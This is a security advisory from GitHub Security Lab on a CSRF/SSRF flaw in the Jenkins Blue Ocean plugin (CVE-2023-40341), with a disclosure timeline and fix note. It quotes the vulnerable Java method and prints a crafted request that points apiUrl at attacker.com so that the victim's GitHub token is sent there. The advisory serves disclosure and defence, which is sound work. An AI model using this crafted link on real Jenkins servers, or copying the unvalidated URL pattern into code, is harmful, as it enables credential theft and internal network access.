Coordinated Disclosure Timeline
- 2023-04-04: Reported to the Jenkins Security Team
- 2023-08-16: Blue Ocean Plugin 1.27.5.1 uses the configured SCM URL, instead of a user-specified URL provided as a parameter to the HTTP endpoint.
Summary
A CSRF/SSRF vulnerability in jenkinsci/blueocean-plugin
allows the leak of sensitive credentials (including GitHub credentials) to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the apiUrl
parameter in the GithubScm#getRepository
method. This vulnerability also enables Server-Side Request Forgery (SSRF) attacks allowing attackers to access the internal network and read responses from arbitrary hosts.
Product
BlueOcean
Tested Version
Details
Credentials Leak via CSRF/SSRF (GHSL-2023-061
)
The io.jenkins.blueocean.blueocean_github_pipeline.GithubScm#getRepository
method does not validate/sanitize the input from the apiUrl
parameter, enabling attackers to forge crafted links that leverage the CSRF and SSRF vulnerabilities to leak arbitrary secret credentials. The impact of this vulnerability includes:
- Credential leakage: Any credential stored in the BlueOcean domain, including the victim’s GitHub credentials, is leaked to the attacker-controlled server.
- SSRF: Attackers may send a request to arbitrary hosts/paths and read the response.
Affected source code: GithubScm.java
@GET
@WebMethod(name = "repository")
@TreeResponse
public GithubRepository getRepository(@QueryParameter String jobName, @QueryParameter String apiUrl) {
Item item = Jenkins.get().getItem( jobName);
if (item == null){
throw new ServiceException.NotFoundException(String.format("Job %s not found", jobName));
}
GitHubSCMSource gitHubSCMSource = ((GitHubSCMSource)((WorkflowMultiBranchProject)item).getSCMSource( "blueocean"));
if(gitHubSCMSource==null){
throw new ServiceException.NotFoundException(String.format("GitHubSCMSource for Job %s not found", jobName));
}
String repoOwner = gitHubSCMSource.getRepoOwner();
String repoName = gitHubSCMSource.getRepository();
StandardUsernamePasswordCredentials credential = getCredential();
String accessToken = credential.getPassword().getPlainText();
try {
String url = String.format("%s/repos/%s/%s", apiUrl, repoOwner, repoName);
GHRepository ghRepository = HttpRequest.get(url).withAuthorizationToken(accessToken).to(GHRepository.class);
return new GithubRepository(ghRepository, credential, this);
} catch (IOException e) {
throw new ServiceException.UnexpectedErrorException(e.getMessage(),e);
}
}
For the vulnerability to be exploited, a BlueOcean pipeline must exist using GitHub as the SCM.
In order to exploit the vulnerability, the attacker needs to send a crafted link to the victim. When the victim visits the link, their browser sends a request as follows:
GET /jenkins/blue/rest/organizations/jenkins/scm/github/repository?jobName=test-project&apiUrl=https://attacker.com/%23 HTTP/1.1
Host: localhost:8080
.Cookie: JSESSIONID.d5fee044=node0cv21h3pnx5dd194peulgl247v1.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Connection: close
This request triggers a forged request on the victim’s behalf, leaking their GitHub credentials to the attacker-controlled server:
GET / HTTP/1.1
Authorization: token ghp_********************************
Accept-Encoding: gzip
Content-type: application/json; charset=utf-8
User-Agent: Java/11.0.16.1
Host: attacker.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
The response to the original request will include the forged request’s response as part of the error message.
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to unauthorized access to sensitive information like GitHub credentials, and allows attackers to send requests to arbitrary hosts/paths within internal networks, reading their responses.
Resources
CVE
- CVE-2023-40341
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-061
in any communication regarding this issue.